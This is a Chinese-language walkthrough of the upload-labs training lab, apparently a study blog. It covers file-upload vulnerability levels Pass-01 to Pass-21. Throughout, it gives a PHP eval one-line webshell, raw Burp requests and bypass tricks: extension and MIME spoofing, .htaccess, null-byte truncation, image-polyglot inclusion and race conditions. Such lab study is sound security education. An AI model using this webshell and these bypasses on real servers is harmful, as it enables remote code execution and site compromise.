文件上传漏洞
上传文件时,目标服务器对上传的文件内容及后缀没做严格的过滤,对文件存储的路径没做限制。
文件上传漏洞的条件:木马文件(php、jsp、asp、exe)--eval system exec assert 可以绕过目标服务器检测成功上传,可以获取到上传路径,上传路径具备可执行权限。
一句话木马: <?php @eval($_POST['cmd']); ?>
<?php ?>:告诉 PHP 解释器标签内部是 PHP 代码,需要执行。$_POST['cmd']:$_POST 是 PHP 的一个超全局数组,用来接收 POST 参数。这里的 cmd 只是参数名称,可以换成其他名称。eval():eval()函数会把收到的字符串再次当作 PHP 代码解释。@:PHP 中的 @ 是错误抑制运算符。如果执行的代码存在错误,@ 会尽量避免把错误信息显示在页面上。Pass-01-前端校验
先分别传入一张正常的 .jpg 图片和一个 .txt 文件,可以发现图片可以提交,非图片文件会立即弹窗阻拦,弹窗出现的非常快,页面甚至没有经过正常的请求响应过程。所以可以猜测 阻止动作很可能发生在浏览器端,而不是服务器端。
-
先看一下源码。白名单为图片类型。且确实是在前端对不合法文件进行验证的。

可以传一个图片马:在记事本中写个一句话木马,保存为.jpg文件。

-
在burp里拦截上传请求,可以看到文件内容就是一句话木马。现在将 filename 从 shell.jpg 改成 shell.php。

Forward,可以看到请求已经传到服务器了。

-
向上传后的 php 发送 post 参数:
Content-Type: application/x-www-form-urlencoded意思是告诉 php 请求正文使用普通表单参数格式,Burp 抓包普通登录、提交表单的请求,基本都是这个 Content-Type。echo%20%22WEB-SHELL-OK%22%3B是参数值,因为请求头声明了表单格式,PHP 会将它解析成:$_POST['cmd']。POST /upload-labs/upload/shell.php HTTP/1.1Host: localhostContent-Type: application/x-www-form-urlencodedConnection: closecmd=echo%20%22WEB-SHELL-OK%22%3B
成功拿到 webshell:

完整利用链:
发现只能选择图片 ↓判断限制来自前端 JavaScript 而非服务器 ↓选择正常的 .jpg 文件通过前端检查,再通过 Burp Proxy 拦截上传请求,将 filename 从 .jpg 改成 .php ↓服务器后端果然没有再次检查扩展名,PHP 文件被保存到 /upload/ 目录,上传目录允许解析 PHP ↓通过 POST 参数传入 PHP 代码,访问上传后的 shell.php ↓一句话木马执行参数内容,获得服务器端 PHP 代码执行能力Pass-02-后端白名单校验
这次是在服务后端对不合法文件进行验证的了,白名单类型依然是图片。但是后端只校验 Content-Type,完全不校验文件名后缀。所以这和绕过前端验证的方法也没啥区别,直接传一个图片马,在burp里改filename就行了, Content-Type 本来就是白名单里的image/jpeg。



利用链:
发现只能选择图片 ↓判断限制来自后端,但是后端仅对 Content-Type 做校验,完全不校验文件名后缀。 ↓选择正常的 .jpg 文件通过前端检查,再通过 Burp Proxy 拦截上传请求,将 filename 从 .jpg 改成 .php ↓服务器后端果然没有检查扩展名,PHP 文件被保存到 /upload/ 目录,上传目录允许解析 PHP ↓通过 POST 参数传入 PHP 代码,访问上传后的 shell.php ↓一句话木马执行参数内容,获得服务器端 PHP 代码执行能力Pass-03-后端黑名单校验
-
查看源码,发现这次是黑名单验证,禁止上传
asp、aspx、php、jsp这四种后缀的文件。并且会对上传的文件名做随机数字处理。
-
这时候我们就要想办法绕过,在网上查了一下,说黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。我们这里用 .php5 试一下,直接上传一个名为 shell.php5 的文件,可以发现直接上传成功。

-
也确实是被当作php文件解析了。

Pass-04
看下源码,发现这关黑名单比第三关多了很多。这个时候就只能构造.htaccess文件了。(利用Apache漏洞)
首先创建一个.htaccess文件,内容如下:
AddType application/x-httpd-php .jpg这个文件的作用就是将同目录(含有子目录)下的所有可执行的php文件,都具有执行权力。这样上传jpg,但是jpg的内容里有php的代码,他就能执行。相当于给了一个环境。

先上传这个.htaccess,再上传一个图片马。访问这个图片马。可以看到确实是被当作php文件解析了。

发送 post 参数。拿到 websell。

Pass-05
这关黑名单过滤的特别多,连 .htaccess 都传不上去了。但仔细看它漏掉了 .php1。那就和 pass-03一样了,传一个 shell.php1。
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
Pass-06
看下源码,可以看到这关没有转换大小写的代码:$file_ext = strtolower($file_ext); //转换为小写。这样我们就可以上传大小写混合的后缀名来进行绕过。

上传一个shell.Php,直接上传成功。


Pass-07
这一关的源码是缺少这一句: $file_ext = trim($file_ext); //首尾去空。

可以在后缀添加一个空格进行绕过,但是在Windows系统中我们无法创建后缀带空格的文件,但是在数据包中不会对后缀的空格进行清除,那么我们这里就需要使用到BS进行抓包,对其进行修改,然后再进行上传。
通过修改后上传到对方服务器的时候,服务器会自动对后面的空格清除,就实现了绕过。

成功上传。


Pass-08
这一关源码是少了这一句:$file_name = deldot($file_name);//删除文件名末尾的点
所以这关是用点绕过,点绕过和空格绕过是一样的,都是利用操作系统的特性来进行解析绕过。和空格一样,上传成功后,服务器会自动删除点的。

成功绕过。


Pass-09
::$DATA 绕过。
在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,加它的目的就是不检查后缀名。
这一关源码就是缺少了这一句:$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA。所以可以在文件名后面添加::$DATA 进行绕过。

成功上传。


Pass-10
这一关咋一看还是和pass-05一样漏掉了过滤.php1,所以可以用后缀.php1绕过。但是这个可能真的是漏掉了,这里我们不用这个绕过方法。
$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }}这是Pass-10的源码,看上去过滤和处理做的都很全,但仔细看会发现,没有循环验证:deldot() 在 trim() 之前执行,而 trim() 后没有重新做后缀检查。也就是说,转换大小写去除点和空格什么的它只验证一次。
清晰的思路应该是:
.php 后依次加:点 → 空格 → 点(在 Burp 里拦截请求文件名中写:filename="shell.php. .")
处理流程:deldot() 先删最后一个点shell.php. [空格]
取后缀得到. [空格]
trim() 后变成.
"." 不在黑名单 → 上传通过
但保存到 Windows 后,末尾的空格、点会被系统继续清理,最终落盘成:shell.php
上传成功。


想做好一个无漏洞的文件上传功能真的需要想很多啊!
Pass-11
查看这一关源码,可以看到没有了前几关的验证方式,而且是一个黑名单验证,意思是如果上传了它这些后缀的文件,就会把后缀名删除,没了后缀名也就无法正常解析。这次因为他没有前机关的验证方式,所以我们也就无法利用验证方式绕过。

不过这关同样是只验证一次,所以我们只需要把后缀改为.pphphp,它删除掉中间的php后后缀仍然为php,以此实现绕过。
成功上传 webshell。


Pass-12-可控保存路径
这一关是一个白名单上传。关键的代码是:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
save_path 完全由 GET 参数控制,且直接拼进最终保存路径。后面还有一个后缀名需要绕过,这个时候需要使用%00截断,不过这个东西已经是旧时代的产物的,所以有使用条件:php版本小于5.3.4 ;php的magic_quotes_gpc为OFF状态。
( 当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。
而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险
这是因为php语言的底层是c语言,而\0在c语言中是字符串 的结束符,所以导致00截断的发生 )

所以清晰地思路是:
上传时文件名仍用允许的:shell.jpg用Burp抓包,在save_path这里修改成 ../upload/shell.php%00后端本来会拼成:../upload/shell.php%00/随机名.jpg旧版 PHP/Windows 对 %00 解码出的空字节处理不严时,会在空字节截断,实际目标变成:../upload/shell.phpshell.php被成功上传,内容为shell.jpg的内容。这就是“白名单图片后缀 + 可控保存路径 + 空字节截断”。
Pass-13
这一关save_path的接受值从get变成了post:
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
它两的区别就是 get 会自行解码,而 post 不会解码,所以需要对 %00 进行解码。所以在这一关我们就需要改post请求体里的save_path,并且在 shell.php 后面加%00后手动进行urldecode编码:将%00 转成原始的十六进制 0x00。
POST /upload-labs/Pass-13/index.php?action=show_code HTTP/1.1Host: 127.0.0.1Content-Length: 425Cache-Control: max-age=0sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXg6vzIcRN2t9BgyhUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36Origin: http://127.0.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/upload-labs/Pass-13/index.php?action=show_codeAccept-Encoding: gzip, deflate, brConnection: keep-alive
------WebKitFormBoundaryXg6vzIcRN2t9BgyhContent-Disposition: form-data; name="save_path"
../upload/------WebKitFormBoundaryXg6vzIcRN2t9BgyhContent-Disposition: form-data; name="upload_file"; filename="shell.jpg"Content-Type: image/jpeg
<?php @eval($_POST['cmd']); ?>------WebKitFormBoundaryXg6vzIcRN2t9BgyhContent-Disposition: form-data; name="submit"
上传------WebKitFormBoundaryXg6vzIcRN2t9Bgyh--这是burp抓到的原始包,我们将../upload/改成../upload/shell.php%00。选中%00右键选择convert selection,然后选择URL最后选择网址解码即可进行解码。


Pass-15 文件包含
白名单之文件包含漏洞getimagesize()检测绕过
getimagesize(图片路径) 成功读取图片时,返回一个数组 $info。
数组下标定义(固定规范):
$info[0]:图片宽度$info[1]:图片高度$info[2]:图片类型数字常量$info[3]:宽高字符串,例如width="800" height="600"
所以这关会读取文件二进制头部(而不是依赖文件名后缀),判断文件类型,并且后端会根据判断得到的文件类型重命名上传文件。所以这关伪造文件名、MIME 都没用。

使用 图片马 + 本地文件包含 绕过。
制作图片马(找张gif图,末尾追加一句php代码)

上传。右键查看网页源码找到重命名后的文件名。

然后进入文件包含漏洞地址http://127.0.0.1/upload-labs/include.php?file=upload/2720260727061309.gif,进行文件包含。
include.php 的核心是:
include $_GET['file'];PHP 的 include 不看文件后缀,会把 GIF 文件中的 <?php ... ?> 代码段解析执行;前面的 GIF 二进制内容只会作为普通输出。这样页面显示 PASS15_OK,就说明思路成功。

Pass-14
Pass-14 比 Pass-15 弱很多:它只读取上传文件的前两个字节。然后把前两个字节当作类型判断。

所以无需一张真正完整的图片。最简单用 GIF 头伪造:前两个字符是 GI,能通过 GIF 判断;服务器会随机保存成:随机名.gif

和Pass-15一样上传后右键查看网页源码找到重命名后的文件名,然后访问文件包含地址。


和Pass-15的区别:
Pass-14:只验前 2 字节,GIF89a + PHP 即可。Pass-15:getimagesize(),需要完整有效图片,再在末尾追加 PHP。Pass-16
白名单之文件包含漏洞exif_imagetype()检测绕过
这一关用的是exif_imagetype函数,它比 Pass-14 严一点,但仍只识别 文件头特征 ,不会像 getimagesize() 那样真正解析完整图片。

手法是和pass-14一样的。GIF89a 让 exif_imagetype() 识别为 GIF;服务端随机保存为 .gif;再通过包含页执行。



区别:
Pass-14:只读前 2 字节,GI 即可。Pass-15:getimagesize(),必须是真实完整图片。Pass-16:exif_imagetype(),需要正确 GIF 文件头(GIF87a/GIF89a),但不需要完整图片。Pass-17
白名单之文件包含漏洞突破二次渲染
补充知识: 二次渲染:后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
这一关对上传图片进行了判断了文件名、content-type,以及利用 imagecreatefromgif 判断是否为gif图片后做了一次二次渲染。

imagecreatefromgif()函数,二次渲染是由 Gif 文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失。按照前几关的方式上传,可以上传,但是包含漏洞无法解析。原因就是二次渲染将图片马里面的php代码删了。
思路是把上传的图片再保存到本地(右键查看网页源码找到重命名后的文件名在浏览器里访问就能下载),比较原图和二次渲染后的图片(用 beyond compare),找到没有被渲染的地方,在这个地方插入php代码再重新上传。
这里用的是网上的一个大佬的二次渲染专用图:https://wwe.lanzoui.com/iFSwwn53jaf
放进 beyond compare,左边是原图,右边是经过了二次渲染的图。红色区域都是两张图不同的地方。

找一块连续的黑色区域插入php代码即可。

再重新上传。 成功执行!这个题有意思!

Pass-18 条件竞争
看一下源码:发现如果上传的符合它的白名单,那就进行重命名,如果不符合,直接删除!解析的机会都没有,这让我想到了条件竞争,如果我在它删除之前就访问这个文件,他就不会删除了。

上传一个php文件,然后burp抓包发到爆破模块

Clear所有的标记,然后设置payload:payload type选null payloads (生成“空 Payload”,实际效果是原样重复发送基础请求),连续上传1000次。

同时开一个请求,也是连续请求访问1000次。

两个同时开始 start attack;看看有没有哪次请求能命中“文件已上传、尚未 unlink 删除”的窗口。
条件竞争的思路就是:
并发跑两类请求:不断上传同一个 shell18.php(后缀故意不合法)。同时不断访问:http://127.0.0.1/upload-labs/upload/shell18.php
只要访问请求落在“已保存、未删除”的极短窗口内,就能命中。Pass-19
Pass-19 的核心也是条件竞争,但和 Pass-18 不一样:
- Pass-18:先按原名保存
.php,再检查后缀,失败后unlink()删除。 - Pass-19:先校验白名单后缀,保存原文件名,随后立刻重命名为时间戳文件名。
所以php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
手法和pass-18基本一致。
不断上传:shell19.gif不断访问:include.php?file=upload/shell19.gifPass-20
move_uploaded_file函数绕过
move_uploaded_file()这样一个函数,有一个特性,会忽略掉文件末尾的/. 及后面的内容。并且 move_uploaded_file() 函数中的 img_path 是由post参数 save_name 控制的,这就可以在 save_name 的参数上面改动。
看到20关的页面,明显比前面的多了点东西,多了一个保存名称。查看源码,没有对上传的文件做判断,只对用户输入的文件名做判断。

直接上传shell20.jpg,抓包,修改为shell20.php在末尾加上/.。这样保存的

直接访问,拿下

这个题的原理就是利用move_uploaded_file函数的特性:
校验看见:shell20.php/. → 不是 php → 放行保存得到:shell20.php → PHP 文件Pass-21
文件名数组绕过。
好好看一下源码分析一下:
先只看这一句:
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];服务器会取“保存名称”这个输入框的内容,放进 $file。
正常提交时,我们可以传:
save_name=shell.jpg服务器得到:
$file = "shell.jpg";但 Burp 可以把参数名改成带方括号的:
save_name[0]=shell21.phpsave_name[2]=jpg在 PHP 里,带 [数字] 就表示“这是一个列表”。因此服务器得到的 $file 是:
$file[0] = "shell21.php";$file[2] = "jpg";现在源码做两件事。
第一件,检查后缀:
$ext = end($file);end($file) 的意思是“拿最后放进去的值”,即:
$ext = "jpg";所以这句放行:
in_array("jpg", ['jpg', 'png', 'gif']) // true第二件,生成文件名:
$file_name = reset($file) . '.' . $file[count($file) - 1];这一行先拆成:
reset($file) // 拿第一个下标的值 → shell21.phpcount($file) // 一共只传了两个下标(0 和 2)→ 2$count - 1 // → 1$file[1] // 下标为1的值是空的因此它最终拼接:
shell21.php + . + 空得到:
shell21.php.Windows 保存文件时去掉文件名尾部的点,变成:
shell21.php所以整体思路是:
[2] 放 jpg,让“检查”通过;[1] 故意不放内容,让“保存名”变成 shell21.php.;Windows 再把末尾点去掉。

拿下
